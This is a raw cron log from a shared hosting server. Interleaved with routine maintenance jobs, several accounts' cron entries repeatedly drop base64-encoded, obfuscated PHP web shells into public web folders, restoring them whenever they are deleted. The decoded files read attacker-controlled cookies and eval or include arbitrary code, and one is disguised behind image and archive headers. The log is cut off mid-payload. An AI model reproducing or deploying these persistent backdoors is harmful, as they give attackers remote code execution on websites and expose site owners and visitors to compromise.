Apr 19 09:12:01 medusa CROND[20589]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:12:01 medusa CROND[20591]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 09:13:01 medusa CROND[12065]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 09:13:01 medusa CROND[12066]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Apr 19 09:13:01 medusa CROND[12064]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:13:01 medusa CROND[12067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:13:01 medusa CROND[12069]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:13:01 medusa CROND[12068]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:13:01 medusa CROND[12071]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:13:01 medusa CROND[12077]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:13:01 medusa CROND[12078]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:13:01 medusa CROND[12079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:13:01 medusa CROND[12075]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:13:01 medusa CROND[12074]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:13:01 medusa CROND[12083]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:13:01 medusa CROND[12082]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 09:14:02 medusa CROND[4050]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:14:02 medusa CROND[4051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:14:02 medusa CROND[4052]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:14:02 medusa CROND[4053]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:14:02 medusa CROND[4054]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:14:02 medusa CROND[4055]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:14:02 medusa CROND[4056]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:14:02 medusa CROND[4058]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:14:02 medusa CROND[4059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:14:02 medusa CROND[4060]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:14:02 medusa CROND[4061]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:14:02 medusa CROND[4062]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:14:02 medusa CROND[4071]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 09:15:01 medusa CROND[28134]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:15:01 medusa CROND[28135]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 09:15:01 medusa CROND[28138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:15:01 medusa CROND[28139]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:15:01 medusa CROND[28142]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 09:15:01 medusa CROND[28140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 09:15:01 medusa CROND[28143]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 09:15:01 medusa CROND[28147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:15:01 medusa CROND[28144]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 09:15:01 medusa CROND[28146]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 09:15:01 medusa CROND[28150]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 09:15:01 medusa CROND[28149]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 09:15:01 medusa CROND[28152]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc2